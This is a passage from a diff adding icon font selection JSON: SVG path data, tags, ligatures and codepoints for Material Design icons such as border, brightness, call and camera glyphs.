"isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "border_outer" + ], + "defaultCode": 57903, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "border_outer", + "id": 96, + "order": 107, + "prevSize": 24, + "code": 57903, + "name": "border_outer" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 96 + }, + { + "icon": { + "paths": [ + "M470 384v-86h84v86h-84zM470 214v-86h84v86h-84zM470 554v-84h84v84h-84zM640 214v-86h86v86h-86zM640 896v-86h86v86h-86zM810 128h86v768h-86v-768zM640 554v-84h86v84h-86zM470 726v-86h84v86h-84zM128 384v-86h86v86h-86zM128 726v-86h86v86h-86zM128 554v-84h86v84h-86zM470 896v-86h84v86h-84zM128 896v-86h86v86h-86zM298 554v-84h86v84h-86zM298 214v-86h86v86h-86zM128 214v-86h86v86h-86zM298 896v-86h86v86h-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "border_right" + ], + "defaultCode": 57904, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "border_right", + "id": 97, + "order": 108, + "prevSize": 24, + "code": 57904, + "name": "border_right" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 97 + }, + { + "icon": { + "paths": [ + "M810 384v-86h86v86h-86zM128 128h768v86h-682v682h-86v-768zM810 554v-84h86v84h-86zM810 726v-86h86v86h-86zM470 896v-86h84v86h-84zM298 896v-86h86v86h-86zM810 896v-86h86v86h-86zM640 896v-86h86v86h-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "border_style" + ], + "defaultCode": 57905, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "border_style", + "id": 98, + "order": 109, + "prevSize": 24, + "code": 57905, + "name": "border_style" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 98 + }, + { + "icon": { + "paths": [ + "M640 554v-84h86v84h-86zM810 896v-86h86v86h-86zM470 384v-86h84v86h-84zM640 896v-86h86v86h-86zM810 726v-86h86v86h-86zM128 128h768v86h-768v-86zM810 554v-84h86v84h-86zM810 384v-86h86v86h-86zM470 726v-86h84v86h-84zM128 384v-86h86v86h-86zM128 554v-84h86v84h-86zM128 896v-86h86v86h-86zM128 726v-86h86v86h-86zM470 896v-86h84v86h-84zM470 554v-84h84v84h-84zM298 554v-84h86v84h-86zM298 896v-86h86v86h-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "border_top" + ], + "defaultCode": 57906, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "border_top", + "id": 99, + "order": 110, + "prevSize": 24, + "code": 57906, + "name": "border_top" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 99 + }, + { + "icon": { + "paths": [ + "M640 554v-84h86v84h-86zM640 896v-86h86v86h-86zM640 214v-86h86v86h-86zM810 384v-86h86v86h-86zM810 128h86v86h-86v-86zM810 554v-84h86v84h-86zM810 896v-86h86v86h-86zM470 896v-768h84v768h-84zM810 726v-86h86v86h-86zM298 214v-86h86v86h-86zM128 726v-86h86v86h-86zM128 896v-86h86v86h-86zM128 554v-84h86v84h-86zM298 554v-84h86v84h-86zM298 896v-86h86v86h-86zM128 214v-86h86v86h-86zM128 384v-86h86v86h-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "border_vertical" + ], + "defaultCode": 57907, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "border_vertical", + "id": 100, + "order": 111, + "prevSize": 24, + "code": 57907, + "name": "border_vertical" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 100 + }, + { + "icon": { + "paths": [ + "M896 810v-256h-384v256h384zM896 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-768c-46 0-86-40-86-86v-596c0-46 40-86 86-86h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "branding_watermark" + ], + "defaultCode": 57451, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "branding_watermark", + "id": 101, + "order": 112, + "prevSize": 24, + "code": 57451, + "name": "branding_watermark" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 101 + }, + { + "icon": { + "paths": [ + "M86 512c0-236 190-426 426-426s426 190 426 426-190 426-426 426-426-190-426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "brightness_1" + ], + "defaultCode": 58278, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "brightness_1", + "id": 102, + "order": 113, + "prevSize": 24, + "code": 58278, + "name": "brightness_1" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 102 + }, + { + "icon": { + "paths": [ + "M426 86c236 0 428 190 428 426s-192 426-428 426c-78 0-150-20-212-56 128-74 212-212 212-370s-84-296-212-370c62-36 134-56 212-56z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "brightness_2" + ], + "defaultCode": 58279, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "brightness_2", + "id": 103, + "order": 114, + "prevSize": 24, + "code": 58279, + "name": "brightness_2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 103 + }, + { + "icon": { + "paths": [ + "M384 86c236 0 426 190 426 426s-190 426-426 426c-44 0-88-6-128-18 174-54 298-216 298-408s-124-354-298-408c40-12 84-18 128-18z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "brightness_3" + ], + "defaultCode": 58280, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "brightness_3", + "id": 104, + "order": 115, + "prevSize": 24, + "code": 58280, + "name": "brightness_3" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 104 + }, + { + "icon": { + "paths": [ + "M512 768c142 0 256-114 256-256s-114-256-256-256c-38 0-74 10-106 24 88 40 148 128 148 232s-60 192-148 232c32 14 68 24 106 24zM854 370l140 142-140 142v200h-200l-142 140-142-140h-200v-200l-140-142 140-142v-200h200l142-140 142 140h200v200z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "brightness_4" + ], + "defaultCode": 58281, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "brightness_4", + "id": 105, + "order": 116, + "prevSize": 24, + "code": 58281, + "name": "brightness_4" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 105 + }, + { + "icon": { + "paths": [ + "M512 768c142 0 256-114 256-256s-114-256-256-256-256 114-256 256 114 256 256 256zM854 654v200h-200l-142 140-142-140h-200v-200l-140-142 140-142v-200h200l142-140 142 140h200v200l140 142z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "brightness_low" + ], + "defaultCode": 57773, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "brightness_5, brightness_low", + "id": 106, + "order": 117, + "prevSize": 24, + "code": 57773, + "name": "brightness_low" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 106 + }, + { + "icon": { + "paths": [ + "M512 768c142 0 256-114 256-256s-114-256-256-256v512zM854 654v200h-200l-142 140-142-140h-200v-200l-140-142 140-142v-200h200l142-140 142 140h200v200l140 142z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "brightness_medium" + ], + "defaultCode": 57774, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "brightness_6, brightness_medium", + "id": 107, + "order": 118, + "prevSize": 24, + "code": 57774, + "name": "brightness_medium" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 107 + }, + { + "icon": { + "paths": [ + "M512 342c94 0 170 76 170 170s-76 170-170 170-170-76-170-170 76-170 170-170zM512 768c142 0 256-114 256-256s-114-256-256-256-256 114-256 256 114 256 256 256zM854 370l140 142-140 142v200h-200l-142 140-142-140h-200v-200l-140-142 140-142v-200h200l142-140 142 140h200v200z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "brightness_high" + ], + "defaultCode": 57772, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "brightness_7, brightness_high", + "id": 108, + "order": 119, + "prevSize": 24, + "code": 57772, + "name": "brightness_high" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 108 + }, + { + "icon": { + "paths": [ + "M610 682h82l-138-384h-84l-138 384h82l30-84h136zM854 370l140 142-140 142v200h-200l-142 140-142-140h-200v-200l-140-142 140-142v-200h200l142-140 142 140h200v200zM462 540l50-156 50 156h-100z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "brightness_auto" + ], + "defaultCode": 57771, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "brightness_auto", + "id": 109, + "order": 120, + "prevSize": 24, + "code": 57771, + "name": "brightness_auto" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 109 + }, + { + "icon": { + "paths": [ + "M768 488l128 128v194c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-280l128 128 170-172 172 172zM896 214v280l-128-128-170 172-172-172-170 172-128-130v-194c0-46 40-86 86-86h596c46 0 86 40 86 86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "broken_image" + ], + "defaultCode": 58285, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "broken_image", + "id": 110, + "order": 121, + "prevSize": 24, + "code": 58285, + "name": "broken_image" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 110 + }, + { + "icon": { + "paths": [ + "M884 198c16 16 16 44 0 60l-382 382-118-118 382-382c16-16 44-16 60 0zM298 598c70 0 128 58 128 128 0 94-76 170-170 170-64 0-130-34-170-86 36 0 84-28 84-84 0-70 58-128 128-128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "brush" + ], + "defaultCode": 58286, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "brush", + "id": 111, + "order": 122, + "prevSize": 24, + "code": 58286, + "name": "brush" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 111 + }, + { + "icon": { + "paths": [ + "M444 376c0-114 90-206 204-206s206 92 206 206-92 204-206 204-204-90-204-204zM546 768c0-48 38-86 86-86s84 38 84 86-36 86-84 86-86-38-86-86zM170 614c0-76 62-136 138-136s136 60 136 136-60 136-136 136-138-60-138-136z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bubble_chart" + ], + "defaultCode": 59101, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "bubble_chart", + "id": 112, + "order": 123, + "prevSize": 24, + "code": 59101, + "name": "bubble_chart" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 112 + }, + { + "icon": { + "paths": [ + "M598 512v-86h-172v86h172zM598 682v-84h-172v84h172zM854 342v84h-90c2 14 4 30 4 44v42h86v86h-86v42c0 14-2 28-4 42h90v86h-120c-44 76-128 128-222 128s-178-52-222-128h-120v-86h90c-2-14-4-28-4-42v-42h-86v-86h86v-42c0-14 2-30 4-44h-90v-84h120c20-34 46-62 78-84l-70-70 60-60 94 92c20-4 40-6 60-6s40 2 60 6l94-92 60 60-70 70c32 22 58 50 78 84h120z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bug_report" + ], + "defaultCode": 59496, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "bug_report", + "id": 113, + "order": 124, + "prevSize": 24, + "code": 59496, + "name": "bug_report" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 113 + }, + { + "icon": { + "paths": [ + "M968 810c18 12 18 42-4 60l-98 98c-18 18-42 18-60 0l-388-388c-98 38-212 18-294-64-86-86-108-214-56-316l188 184 128-128-184-184c102-46 230-30 316 56 82 82 102 196 64 294z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "build" + ], + "defaultCode": 59497, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "build", + "id": 114, + "order": 125, + "prevSize": 24, + "code": 59497, + "name": "build" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 114 + }, + { + "icon": { + "paths": [ + "M470 726h426l-136-180-108 136-76-92zM938 214c24 0 44 18 44 42v512c0 24-20 42-44 42h-512c-24 0-42-18-42-42v-512c0-24 18-42 42-42h512zM214 214h84v596h-84v-596zM42 214h86v596h-86v-596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "burst_mode" + ], + "defaultCode": 58428, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "burst_mode", + "id": 115, + "order": 126, + "prevSize": 24, + "code": 58428, + "name": "burst_mode" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 115 + }, + { + "icon": { + "paths": [ + "M768 640v86h-86v-86h86zM768 470v84h-86v-84h86zM854 810v-426h-342v86h86v84h-86v86h86v86h-86v84h342zM426 298v-84h-84v84h84zM426 470v-86h-84v86h84zM426 640v-86h-84v86h84zM426 810v-84h-84v84h84zM256 298v-84h-86v84h86zM256 470v-86h-86v86h86zM256 640v-86h-86v86h86zM256 810v-84h-86v84h86zM512 298h426v598h-852v-768h426v170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "domain" + ], + "defaultCode": 59374, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "business, domain", + "id": 116, + "order": 127, + "prevSize": 24, + "code": 59374, + "name": "domain" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 116 + }, + { + "icon": { + "paths": [ + "M598 298v-84h-172v84h172zM854 298c46 0 84 40 84 86v128c0 46-38 86-84 86h-256v-86h-172v86h-256c-48 0-84-38-84-86v-128c0-46 38-86 84-86h170v-84l86-86h170l86 86v84h172zM426 682h172v-42h298v170c0 48-38 86-86 86h-596c-48 0-86-38-86-86v-170h298v42z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "business_center" + ], + "defaultCode": 60223, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "business_center", + "id": 117, + "order": 128, + "prevSize": 24, + "code": 60223, + "name": "business_center" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 117 + }, + { + "icon": { + "paths": [ + "M256 512h128l-170 170-172-170h128c0-188 154-342 342-342 66 0 130 20 182 54l-62 62c-36-20-76-30-120-30-142 0-256 114-256 256zM810 342l172 170h-128c0 188-154 342-342 342-66 0-130-20-182-54l62-62c36 20 76 30 120 30 142 0 256-114 256-256h-128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cached" + ], + "defaultCode": 59498, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "cached", + "id": 118, + "order": 129, + "prevSize": 24, + "code": 59498, + "name": "cached" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 118 + }, + { + "icon": { + "paths": [ + "M768 384c70 0 128 58 128 128v66c0 46-38 84-84 84-22 0-42-8-58-24l-92-92-92 92c-32 32-86 32-118 0l-90-92-92 92c-16 16-36 24-58 24-46 0-84-38-84-84v-66c0-70 58-128 128-128h214v-86h84v86h214zM708 682c28 28 64 44 104 44 32 0 60-10 84-26v196c0 24-18 42-42 42h-684c-24 0-42-18-42-42v-196c24 16 52 26 84 26 40 0 76-16 104-44l46-46 46 46c56 56 152 56 208 0l46-46zM512 256c-46 0-86-40-86-86 0-16 6-32 14-44l72-126 72 126c8 12 14 28 14 44 0 46-38 86-86 86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cake" + ], + "defaultCode": 59369, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "cake", + "id": 119, + "order": 130, + "prevSize": 24, + "code": 59369, + "name": "cake" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 119 + }, + { + "icon": { + "paths": [ + "M282 460c62 120 162 220 282 282l94-94c12-12 30-16 44-10 48 16 100 24 152 24 24 0 42 18 42 42v150c0 24-18 42-42 42-400 0-726-326-726-726 0-24 18-42 42-42h150c24 0 42 18 42 42 0 54 8 104 24 152 4 14 2 32-10 44z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "phone" + ], + "defaultCode": 57549, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "call, local_phone, phone", + "id": 120, + "order": 131, + "prevSize": 24, + "code": 57549, + "name": "phone2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 120 + }, + { + "icon": { + "paths": [ + "M512 384c-68 0-134 10-196 30v132c0 16-10 34-24 40-42 20-80 46-114 78-8 8-18 12-30 12s-22-4-30-12l-106-106c-8-8-12-18-12-30s4-22 12-30c130-124 306-200 500-200s370 76 500 200c8 8 12 18 12 30s-4 22-12 30l-106 106c-8 8-18 12-30 12s-22-4-30-12c-34-32-72-58-114-78-14-6-24-20-24-38v-132c-62-20-128-32-196-32z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "call_end" + ], + "defaultCode": 57521, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "call_end", + "id": 121, + "order": 132, + "prevSize": 24, + "code": 57521, + "name": "call_end" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 121 + }, + { + "icon": { + "paths": [ + "M384 214h426v426h-84v-282l-496 496-60-60 496-496h-282v-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "call_made" + ], + "defaultCode": 57522, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "call_made", + "id": 122, + "order": 133, + "prevSize": 24, + "code": 57522, + "name": "call_made" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 122 + }, + { + "icon": { + "paths": [ + "M320 342l192-192 192 192h-150v272l-256 256-60-60 232-230v-238h-150zM726 870l-146-144 60-60 146 144z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "merge_type" + ], + "defaultCode": 57938, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "call_merge, merge_type", + "id": 123, + "order": 134, + "prevSize": 24, + "code": 57938, + "name": "merge_type" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 123 + }, + { + "icon": { + "paths": [ + "M836 298l60 60-384 384-298-298v196h-86v-342h342v86h-196l238 238z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "call_missed" + ], + "defaultCode": 57524, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "call_missed", + "id": 124, + "order": 135, + "prevSize": 24, + "code": 57524, + "name": "call_missed" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 124 + }, + { + "icon": { + "paths": [ + "M128 358l60-60 324 324 238-238h-196v-86h342v342h-86v-196l-298 298z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "call_missed_outgoing" + ], + "defaultCode": 57572, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "call_missed_outgoing", + "id": 125, + "order": 136, + "prevSize": 24, + "code": 57572, + "name": "call_missed_outgoing" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 125 + }, + { + "icon": { + "paths": [ + "M854 230l-496 496h282v84h-426v-426h84v282l496-496z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "call_received" + ], + "defaultCode": 57525, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "call_received", + "id": 126, + "order": 137, + "prevSize": 24, + "code": 57525, + "name": "call_received" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 126 + }, + { + "icon": { + "paths": [ + "M426 170l-98 98 226 226v360h-84v-324l-202-202-98 98v-256h256zM598 170h256v256l-98-98-124 124-60-60 124-124z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "call_split" + ], + "defaultCode": 57526, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "call_split", + "id": 127, + "order": 138, + "prevSize": 24, + "code": 57526, + "name": "call_split" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 127 + }, + { + "icon": { + "paths": [ + "M896 810v-128h-768v128h768zM896 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-768c-46 0-86-40-86-86v-596c0-46 40-86 86-86h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "call_to_action" + ], + "defaultCode": 57452, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "call_to_action", + "id": 128, + "order": 139, + "prevSize": 24, + "code": 57452, + "name": "call_to_action" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 128 + }, + { + "icon": { + "paths": [ + "M420 928c68.709-118.625 136.494-238.172 206-356l156 270c-74 60-168 96-270 96-32 0-62-4-92-10zM104 640h414l-158 270c-122-46-216-146-256-270zM198 224c71.999 124.667 143.587 249.746 216 374h-320c-6-28-8-56-8-86 0-112 42-212 112-288zM930 426c6 28 8 56 8 86 0 112-42 212-112 288l-204-352-12-22h320zM920 384h-414l158-270c122 46 216 146 256 270zM402 448l-4 4-156-270c74-60 168-96 270-96 32 0 62 4 92 10z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "camera" + ], + "defaultCode": 58287, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "camera", + "id": 129, + "order": 140, + "prevSize": 24, + "code": 58287, + "name": "camera2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 129 + }, + { + "icon": { + "paths": [ + "M512 726c118 0 214-96 214-214s-96-214-214-214-214 96-214 214 96 214 214 214zM384 86h256l78 84h136c46 0 84 40 84 86v512c0 46-38 86-84 86h-684c-46 0-84-40-84-86v-512c0-46 38-86 84-86h136zM376 512c0-76 60-136 136-136s136 60 136 136-60 136-136 136-136-60-136-136z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "photo_camera" + ], + "defaultCode": 58386, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "camera_alt, local_see, photo_camera", + "id": 130, + "order": 141, + "prevSize": 24, + "code": 58386, + "name": "photo_camera" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 130 + }, + { + "icon": { + "paths": [ + "M512 726l-54-118-116-54 116-52 54-118 54 118 116 52-116 54zM512 768c118 0 214-96 214-214s-96-212-214-212-214 94-214 212 96 214 214 214zM384 128h256l78 86h136c46 0 84 38 84 84v512c0 46-38 86-84 86h-684c-46 0-84-40-84-86v-512c0-46 38-84 84-84h136z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "camera_enhance" + ], + "defaultCode": 59644, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "camera_enhance", + "id": 131, + "order": 142, + "prevSize": 24, + "code": 59644, + "name": "camera_enhance" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 131 + }, + { + "icon": { + "paths": [ + "M298 86v448c0-72 142-108 214-108s214 36 214 108v-448h-428zM726 0c46 0 84 40 84 86v596c0 46-38 86-84 86h-300l128 128-128 128v-86h-212v-84h212v-86h-128c-46 0-84-40-84-86v-596c0-46 38-86 84-86h428zM512 342c-46 0-84-40-84-86s38-86 84-86 86 40 86 86-40 86-86 86zM598 854h212v84h-212v-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "camera_front" + ], + "defaultCode": 58289, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "camera_front", + "id": 132, + "order": 143, + "prevSize": 24, + "code": 58289, + "name": "camera_front" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 132 + }, + { + "icon": { + "paths": [ + "M512 256c46 0 84-40 84-86s-38-84-84-84-86 38-86 84 38 86 86 86zM726 0c46 0 84 40 84 86v596c0 46-38 86-84 86h-300l128 128-128 128v-86h-212v-84h212v-86h-128c-46 0-84-40-84-86v-596c0-46 38-86 84-86h428zM598 854h212v84h-212v-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "camera_rear" + ], + "defaultCode": 58290, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "camera_rear", + "id": 133, + "order": 144, + "prevSize": 24, + "code": 58290, + "name": "camera_rear" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 133 + }, + { + "icon": { + "paths": [ + "M854 384v-86h-86v86h86zM854 768v-86h-86v86h86zM682 384v-86h-84v86h84zM682 768v-86h-84v86h84zM512 384v-86h-86v86h86zM512 768v-86h-86v86h86zM598 214h340v640h-340c0 46-40 84-86 84h-342c-46 0-84-38-84-84v-640c0-46 38-86 84-86h44v-42c0-24 18-44 42-44h170c24 0 44 20 44 44v42h42c46 0 86 40 86 86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "camera_roll" + ], + "defaultCode": 58291, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "camera_roll", + "id": 134, + "order": 145, + "prevSize": 24, + "code": 58291, + "name": "camera_roll" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 134 + }, + { + "icon": { + "paths": [ + "M726 666l-154-154 154-154-60-60-154 154-154-154-60 60 154 154-154 154 60 60 154-154 154 154zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cancel" + ], + "defaultCode": 58825, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "cancel", + "id": 135, + "order": 146, + "prevSize": 24, + "code": 58825, + "name": "cancel" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 135 + }, + { + "icon": { + "paths": [ + "M854 598v-256h-218l90 120-70 50c-48.076-65.258-96.637-130.029-144-196-47.366 65.967-95.923 130.744-144 196l-70-50 90-120h-218v256h684zM854 810v-84h-684v84h684zM384 170c-24 0-42 20-42 44s18 42 42 42 42-18 42-42-18-44-42-44zM640 170c-24 0-42 20-42 44s18 42 42 42 42-18 42-42-18-44-42-44zM854 256c48 0 84 38 84 86v468c0 48-36 86-84 86h-684c-48 0-84-38-84-86v-468c0-48 36-86 84-86h94c-4-14-8-28-8-42 0-70 58-128 128-128 44 0 82 22 106 56l22 30 22-30c24-34 62-56 106-56 70 0 128 58 128 128 0 14-4 28-8 42h94z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "redeem" + ], + "defaultCode": 59569, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "card_giftcard, redeem", + "id": 136, + "order": 147, + "prevSize": 24, + "code": 59569, + "name": "redeem" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 136 + }, + { + "icon": { + "paths": [ + "M854 426v-256h-684v256h684zM854 640v-86h-684v86h684zM854 86c48 0 84 36 84 84v470c0 48-36 86-84 86h-172v212l-170-84-170 84v-212h-172c-48 0-84-38-84-86v-470c0-48 36-84 84-84h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "card_membership" + ], + "defaultCode": 59639, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "card_membership", + "id": 137, + "order": 148, + "prevSize": 24, + "code": 59639, + "name": "card_membership" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 137 + }, + { + "icon": { + "paths": [ + "M854 598v-256h-128v84h-86v-84h-256v84h-86v-84h-128v256h684zM854 810v-84h-684v84h684zM384 170v86h256v-86h-256zM854 256c48 0 84 38 84 86v468c0 48-36 86-84 86h-684c-48 0-84-38-84-86v-468c0-48 36-86 84-86h128v-86c0-48 38-84 86-84h256c48 0 86 36 86 84v86h128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "card_travel" + ], + "defaultCode": 59640, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "card_travel", + "id": 138, + "order": 149, + "prevSize": 24, + "code": 59640, + "name": "card_travel" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 138 + }, + { + "icon": { + "paths": [ + "M704 384c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM704 768c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM512 576c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM320 384c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM320 768c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "casino" + ], + "defaultCode": 60224, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "casino", + "id": 139, + "order": 150, + "prevSize": 24, + "code": 60224, + "name": "casino" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 139 + }, + { + "icon": { + "paths": [ + "M42 426c258 0 470 210 470 470h-86c0-212-172-384-384-384v-86zM42 598c166 0 300 132 300 298h-86c0-118-96-214-214-214v-84zM42 768c70 0 128 58 128 128h-128v-128zM896 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-298v-86h298v-596h-768v128h-86v-128c0-46 40-86 86-86h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cast" + ], + "defaultCode": 58119, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "cast", + "id": 140, + "order": 151, + "prevSize": 24, + "code": 58119, + "name": "cast" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 140 + }, + { + "icon": { + "paths": [ + "M896 128c46 0 86 40 86 